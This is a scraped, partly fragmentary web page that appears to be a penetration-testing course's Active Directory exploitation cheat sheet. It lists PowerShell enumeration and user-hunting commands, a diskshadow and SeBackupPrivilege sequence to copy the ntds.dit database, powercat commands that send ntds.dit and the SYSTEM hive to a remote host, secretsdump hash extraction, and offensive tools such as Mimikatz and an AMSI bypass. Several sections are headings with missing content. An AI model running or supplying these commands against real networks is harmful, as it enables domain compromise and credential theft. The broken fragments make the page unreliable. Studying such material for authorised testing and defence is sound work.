Active Directory Exploitation Cheat Sheet: Share
Active Directory Exploitation Cheat Sheet: Share
View cart
HOME
COURSES
MEMBERSHIP
HOW TO ENROLL
ABOUT US
FAQs
BLOGS
JOBS
COURSE LOGIN
APPS
Share:
Recent cyber-attacks are frequently targeting the vulnerable active directory services used in
enterprise networks where the organization handling the 1000's of computers in the single point
of control called "Domain controller" which is one of the main targeted services by the APT
Hackers.
Recon
Domain Enum
Local Privilege Escalation
User Hunting
Domain Admin Privileges
Database Hunting
Data Exfiltration
Active Directory Exploitation Tools
Reconnaissance
Recon Phase contains various modules, including Port scan that performs the following
operations.
PORT SCAN
Import-Module Invoke-Portscan.ps1
<#
Invoke-Portscan -Hosts
"websrv.domain.local,wsus.domain.local,apps.domain.local" -TopPorts 50 echo
websrv.domain.local | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
Invoke-Portscan -Hosts 172.16.0.0/24 -T 4 -TopPorts 25 -oA localnet
#>
The secret to being able to run AD enumeration commands from the AD Powershell module on a
system without RSAT installed, is the DLL located
in C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management
on a system that has the RSAT installed.
Set up your AD VM, install RSAT, extract the dll and drop it to the target system used to
enumerate the active directory.
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Get-Command get-adcom*
Domain Enumeration
DOMAIN
Get-NetDomain (PowerView)
Get-ADDomain (ActiveDirectory Module)
Get-DomainSID
(Get-ADDomain).DomainSID
Get-DomainPolicy
(Get-DomainPolicy)."system access"
Get-NetDomainController
Get-ADDomainController
NETUSER
Get-NetUser
Get-NetUser -Username student1
Get-NetUser | select -ExpandProperty samaccountname
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity student1 -Properties *
Get-UserProperty
Get-UserProperty -Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType
*Property | select Name
Get-ADUser -Filter * -Properties * | select
name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
NETGROUP
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
Get-ADComputer -Filter * | select Name Get-ADComputer -Filter 'OperatingSystem
-like "*Server 2016*"' -Properties OperatingSystem | select
Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1
-ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
Get-NetGroup
Get-NetGroup -Domain <targetdomain>
Get-NetGroup -FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-NetGroup *admin*
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
List all the local groups on a machine (needs administrator privs on non-dc
machines)
Get members of all the local groups on a machine (needs administrator privs on non-dc
machines)
LOGGED
Get actively logged users on a computer (needs local admin rights on the target)
Get locally logged users on a computer (needs remote registry on the target - started
by-default on server OS)
Get the last logged user on a computer (needs administrative rights and remote
registry on the target)
SHARE
Invoke-ShareFinder -Verbose
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC -Verbose
Invoke-FileFinder -Verbose
Windows VM
Exploitation
Kali VM
Windows VM
Kali VM
Memory
Exploitation
Kali VM
Windows VM
Kali VM
4. USER HUNTING
Find all machines on the current domain where the current user has local admin access
(Get-NetComputer + Invoke-CheckLocalAdminAccess)
Find-LocalAdminAccess -Verbose
. .\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
# No Stateful
Enter-PSSession -ComputerName targetcomputer.target.domain.local
# Stateful
$sess = New-Pssession -ComputerName targetcomputer.target.domain.local
Enter-Pssession -session $sess
. .\Find-WMILocalAdminAccess.ps1
Find computers where a domain admin (or specified user/group) has sessions
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -CheckAccess
Invoke-UserHunter -Stealth
create
expose %mydrive% w:
end backup
#}
# EXEC DISKSHADOW
cd C:\windows\system32\spool\drivers\color
diskshadow.exe -s script.txt
# CHECK MODULE
get-help SeBackupPrivilege
Name Category Module Synopsis
---- -------- ------ --------
Get-SeBackupPrivilege Cmdlet SeBackupPrivilegeCmdLets ...
Set-SeBackupPrivilege Cmdlet SeBackupPrivilegeCmdLets ...
Copy-FileSeBackupPrivilege Cmdlet SeBackupPrivilegeCmdLets ...
#Use the functionality of the dlls to copy the ntds.dit database file from the
shadow copy to a location of our choice
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\Windows\temp\ntds.dit
-Overwrite
# FILE TRANSFERT
powercat -c 10.10.10.10 -p 443 -i c:\Windows\temp\system.hive
powercat -c 10.10.10.10 -p 443 -i c:\Windows\temp\ntds.dit
Rebuild AD Hashes
-ntds: location and name of the ntds.dit file
-system: location and name of the SYSTEM hive
-hashes lmnhash:nthash: NTLM hash
LOCAL: parse files on the local system
-outputfile: location and name of the output file. Extensions are automatically added
based on content extracted
# impacket
secretsdump.py -ntds ntds.dit -system SYS -hashes lmhash:nthash LOCAL
-outputfile ntlm-extract
Cracking
Import-Module .\PowerupSQL.psd1
Get-SQLInstanceDomain
Get-SQLInstanceLocal -Verbose
Discover Remote SQL Server Instances
Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-
SQLInstanceScanUDPThreaded -Verbose
Discover Active Directory Domain SQL Server Instances using alternative domain
credentials
Check Accessibility
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Gather Information
Get general server information such as SQL/OS versions, service accounts, sysdmin access
etc.
Get an inventory of common objects from the remote server including permissions,
databases, tables, views etc, and dump them out into CSV files.
Xp_cmdshell v1
Xp_cmdshell v2
Xp_cmdshell v3
Executing Commands
Reverse shell
Data mining
Check files
ASREPRoast
Adduser-c
AmsiScanBufferBypass
BeRoot
DAMP-master
Deploy-Deception-master
Find-PS-WMI
GhostPack
HFS
HeidiSQL
Invoke-Obfuscation
Invoke-SDPropagator
Kekeo
Mimikatz
NetCease
PowerSploit-Dev
PowerSploit-Master
PowerUpSQL
Powercat
Powerless
Powermad
Privesc-master
PsTools
Python-pty-shells
RSAT
SessionGopher
Set-DCShadow
SharpHound